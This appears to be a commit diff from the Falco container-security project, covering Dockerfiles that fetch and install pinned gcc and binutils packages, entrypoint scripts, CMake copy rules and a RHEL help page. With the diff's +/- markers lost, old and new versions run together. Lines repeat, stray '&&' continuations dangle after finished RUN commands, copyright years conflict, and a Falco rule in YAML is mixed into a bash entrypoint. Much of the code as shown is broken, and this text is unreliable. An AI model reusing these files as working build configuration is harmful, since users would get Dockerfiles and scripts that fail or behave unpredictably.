&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
# gcc 5 is no longer included in debian stable, but we need it to
# gcc 5 is no longer included in debian unstable, but we need it to
# build centos kernels, which are 3.x based and explicitly want a gcc
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
&& curl -o libasan2_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
&& ln -s $HOST_ROOT/lib/modules /lib/modules
ADD falco-${FALCO_VERSION}-*.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
ADD falco-${FALCO_VERSION}-x86_64.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# debian:stable head contains binutils 2.31, which generates
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN if [ "$TARGETARCH" = "amd64" ] ; then \
curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
else \
curl -L -o binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
fi
RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
# The local container also copies some test trace files and
# corresponding rules that are used when running regression tests.

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env bash
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,19 +16,19 @@
# limitations under the License.
#
# set -e
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
ln -s "$i" "/usr/src/$i"
done
/usr/bin/falco-driver-loader
/usr/bin/falco-probe-loader
fi
exec "$@"
exec "$@"

View File

@@ -1,7 +1,13 @@
include(copy_files_to_build_dir)
# Note: list of rules is created at cmake time, not build time
file(GLOB test_rule_files
"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/rules/*.yaml")
copy_files_to_build_dir("${test_rule_files}" docker-local-rules)
foreach(rule_file_path ${test_rule_files})
get_filename_component(rule_file ${rule_file_path} NAME)
add_custom_target(docker-local-rule-${rule_file} ALL
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${rule_file})
add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${rule_file}
COMMAND ${CMAKE_COMMAND} -E copy ${rule_file_path} ${CMAKE_CURRENT_BINARY_DIR}/${rule_file}
DEPENDS ${rule_file_path})
endforeach()

View File

@@ -1,7 +1,13 @@
include(copy_files_to_build_dir)
# Note: list of traces is created at cmake time, not build time
file(GLOB test_trace_files
"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/trace_files/*.scap")
copy_files_to_build_dir("${test_trace_files}" docker-local-traces)
foreach(trace_file_path ${test_trace_files})
get_filename_component(trace_file ${trace_file_path} NAME)
add_custom_target(docker-local-trace-${trace_file} ALL
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${trace_file}
COMMAND ${CMAKE_COMMAND} -E copy ${trace_file_path} ${CMAKE_CURRENT_BINARY_DIR}/${trace_file}
DEPENDS ${trace_file_path})
endforeach()

58
docker/minimal/Dockerfile Normal file
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@@ -0,0 +1,58 @@
FROM ubuntu:18.04 as ubuntu
LABEL maintainer="opensource@sysdig.com"
ARG FALCO_VERSION=0.19.0
ENV FALCO_VERSION=${FALCO_VERSION}
WORKDIR /
ADD https://s3.amazonaws.com/download.draios.com/stable/tgz/x86_64/falco-${FALCO_VERSION}-x86_64.tar.gz /
# ADD will download from URL and unntar
RUN apt-get update && \
apt-get install -y libyaml-0-2 binutils && \
# curl -O https://s3.amazonaws.com/download.draios.com/stable/tgz/x86_64/falco-${FALCO_VERSION}-x86_64.tar.gz && \
tar xfzv falco-${FALCO_VERSION}-x86_64.tar.gz && \
rm -f falco-${FALCO_VERSION}-x86_64.tar.gz && \
mv falco-${FALCO_VERSION}-x86_64 falco && \
strip falco/usr/bin/falco && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
FROM scratch
COPY --from=ubuntu /lib/x86_64-linux-gnu/libanl.so.1 \
/lib/x86_64-linux-gnu/libc.so.6 \
/lib/x86_64-linux-gnu/libdl.so.2 \
/lib/x86_64-linux-gnu/libgcc_s.so.1 \
/lib/x86_64-linux-gnu/libm.so.6 \
/lib/x86_64-linux-gnu/libnsl.so.1 \
/lib/x86_64-linux-gnu/libnss_compat.so.2 \
/lib/x86_64-linux-gnu/libnss_files.so.2 \
/lib/x86_64-linux-gnu/libnss_nis.so.2 \
/lib/x86_64-linux-gnu/libpthread.so.0 \
/lib/x86_64-linux-gnu/librt.so.1 \
/lib/x86_64-linux-gnu/libz.so.1 \
/lib/x86_64-linux-gnu/
COPY --from=ubuntu /usr/lib/x86_64-linux-gnu/libstdc++.so.6 \
/usr/lib/x86_64-linux-gnu/libstdc++.so.6
COPY --from=ubuntu /usr/lib/x86_64-linux-gnu/libyaml-0.so.2.0.5 \
/usr/lib/x86_64-linux-gnu/libyaml-0.so.2
COPY --from=ubuntu /etc/ld.so.cache \
/etc/nsswitch.conf \
/etc/ld.so.cache \
/etc/passwd \
/etc/group \
/etc/
COPY --from=ubuntu /etc/default/nss /etc/default/nss
COPY --from=ubuntu /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2
COPY --from=ubuntu /falco /
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

View File

@@ -1,35 +0,0 @@
FROM ubuntu:18.04 as ubuntu
ARG FALCO_VERSION
ARG VERSION_BUCKET=bin
ENV FALCO_VERSION=${FALCO_VERSION}
ENV VERSION_BUCKET=${VERSION_BUCKET}
RUN apt-get -y update && apt-get -y install gridsite-clients curl
WORKDIR /
RUN curl -L -o falco.tar.gz \
https://download.falco.org/packages/${VERSION_BUCKET}/$(uname -m)/falco-$(urlencode ${FALCO_VERSION})-$(uname -m).tar.gz && \
tar -xvf falco.tar.gz && \
rm -f falco.tar.gz && \
mv falco-${FALCO_VERSION}-$(uname -m) falco && \
rm -rf /falco/usr/src/falco-* /falco/usr/bin/falco-driver-loader
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /falco/etc/falco/falco.yaml > /falco/etc/falco/falco.yaml.new \
&& mv /falco/etc/falco/falco.yaml.new /falco/etc/falco/falco.yaml
FROM debian:11-slim
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro --name NAME IMAGE"
# NOTE: for the "least privileged" use case, please refer to the official documentation
ENV HOST_ROOT /host
ENV HOME /root
COPY --from=ubuntu /falco /
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

38
docker/rhel/Dockerfile Normal file
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@@ -0,0 +1,38 @@
FROM registry.access.redhat.com/rhel7
LABEL maintainer="opensource@sysdig.com"
### Atomic/OpenShift Labels - https://github.com/projectatomic/ContainerApplicationGenericLabels
LABEL name="falco" \
vendor="falcosecurity" \
url="http://falco.org/" \
summary="Container native runtime security" \
description="Falco is an open source project for intrusion and abnormality detection for Cloud Native platforms." \
run='docker run -d --name falco --restart always --privileged --net host --pid host -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --shm-size=350m registry.connect.redhat.com/sysdig/falco'
COPY help.md /tmp/
ENV HOST_ROOT /host
ENV HOME /root
ADD http://download.draios.com/stable/rpm/draios.repo /etc/yum.repos.d/draios.repo
RUN rpm --import https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public && \
rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm && \
yum clean all && \
REPOLIST=rhel-7-server-rpms,rhel-7-server-optional-rpms,epel,draios \
INSTALL_PKGS="gcc dkms kernel-devel kernel-headers python golang-github-cpuguy83-go-md2man falco" && \
yum -y update-minimal --disablerepo "*" --enablerepo ${REPOLIST} --setopt=tsflags=nodocs \
--security --sec-severity=Important --sec-severity=Critical && \
yum -y install --disablerepo "*" --enablerepo ${REPOLIST} --setopt=tsflags=nodocs ${INSTALL_PKGS} && \
### help file markdown to man conversion
go-md2man -in /tmp/help.md -out /help.1 && \
### we delete everything on /usr/src/kernels otherwise it messes up docker-entrypoint.sh
rm -fr /usr/src/kernels && \
rm -df /lib/modules && ln -s $HOST_ROOT/lib/modules /lib/modules && \
yum clean all
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

View File

@@ -1,5 +1,6 @@
#!/usr/bin/env bash
#
# Copyright (C) 2021 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -15,17 +16,19 @@
# limitations under the License.
#
- rule: Open From Cat
desc: A process named cat does an open
condition: evt.type=open and proc.name=cat
output: "An open was seen (command=%proc.cmdline)"
priority: WARNING
# set -e
- rule: Open From Cat
exceptions:
- name: proc_cmdline
comps: in
values:
- "cat /dev/null"
append: true
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
ln -s "$i" "/usr/src/$i"
done
/usr/bin/falco-probe-loader
fi
exec "$@"

15
docker/rhel/help.md Normal file
View File

@@ -0,0 +1,15 @@
% falco (1) Container Image Pages
% Falco Team
% June, 2017
# NAME
falco \- Container Native runtime security
# DESCRIPTION
Falco is an open source project for intrusion and abnormality detection for Cloud Native platforms. See Falco website for more information: http://falco.org/
# EXAMPLE
docker run -d --name falco --restart always --privileged --net host --pid host -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --shm-size=350m registry.connect.redhat.com/sysdig/falco
# AUTHORS
Falco Team

View File

@@ -0,0 +1,50 @@
FROM ubuntu:18.04
LABEL maintainer="opensource@sysdig.com"
ENV FALCO_REPOSITORY dev
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
# bash-completion \
# bc \
ca-certificates \
curl \
gnupg2 \
jq \
# netcat \
# xz-utils \
&& rm -rf /var/lib/apt/lists/*
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends falco \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
#COPY ./entrypoint.sh /
# ENTRYPOINT ["/entrypoint.sh"]
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

View File

@@ -0,0 +1,50 @@
FROM ubuntu:18.04
LABEL maintainer="opensource@sysdig.com"
ENV FALCO_REPOSITORY stable
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
# bash-completion \
# bc \
ca-certificates \
curl \
gnupg2 \
jq \
# netcat \
# xz-utils \
&& rm -rf /var/lib/apt/lists/*
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends falco \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
#COPY ./entrypoint.sh /
# ENTRYPOINT ["/entrypoint.sh"]
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

110
docker/stable/Dockerfile Normal file
View File

@@ -0,0 +1,110 @@
FROM debian:unstable
LABEL maintainer="opensource@sysdig.com"
ENV FALCO_REPOSITORY stable
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
ca-certificates \
curl \
dkms \
gnupg2 \
gcc \
jq \
libc6-dev \
libelf-dev \
libmpx2 \
llvm-7 \
netcat \
xz-utils \
&& rm -rf /var/lib/apt/lists/*
# gcc 6 is no longer included in debian unstable, but we need it to
# build kernel modules on the default debian-based ami used by
# kops. So grab copies we've saved from debian snapshots with the
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
# or so.
RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
# gcc 5 is no longer included in debian unstable, but we need it to
# build centos kernels, which are 3.x based and explicitly want a gcc
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
&& curl -o libasan2_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends falco \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
